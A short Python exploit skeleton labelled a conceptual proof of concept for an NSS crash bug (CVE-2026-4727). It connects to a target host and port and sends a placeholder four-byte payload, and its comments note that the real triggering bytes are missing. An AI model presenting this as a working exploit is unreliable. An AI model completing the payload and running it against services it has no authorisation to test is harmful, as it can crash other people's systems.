The following code is for security research and authorized testing only.
python
import socket
import sys
# Conceptual PoC for CVE-2026-4727
# This script demonstrates how to send a payload to a target service.
# The specific payload bytes to trigger the NSS crash would need to be
# derived from the specific bug analysis or patch diff.
def send_exploit(target_ip, target_port):
try:
print(f"[*] Connecting to {target_ip}:{target_port}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_ip, target_port))
# Placeholder for the malicious payload.
# In a real scenario, this would be the specific TLS handshake
# or data packet that causes NSS to crash.
payload = b"\x00\x00\x00\x00"
print("[*] Sending payload...")
s.send(payload)
# Try to receive response to confirm connection state
response = s.recv(1024)
print("[+] Received response, service might be up.")
except Exception as e:
print(f"[!] Connection failed or service crashed: {e}")
finally:
s.close()
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python poc.py <ip> <port>")
sys.exit(1)
TARGET_IP = sys.argv[1]
TARGET_PORT = int(sys.argv[2])
send_exploit(TARGET_IP, TARGET_PORT)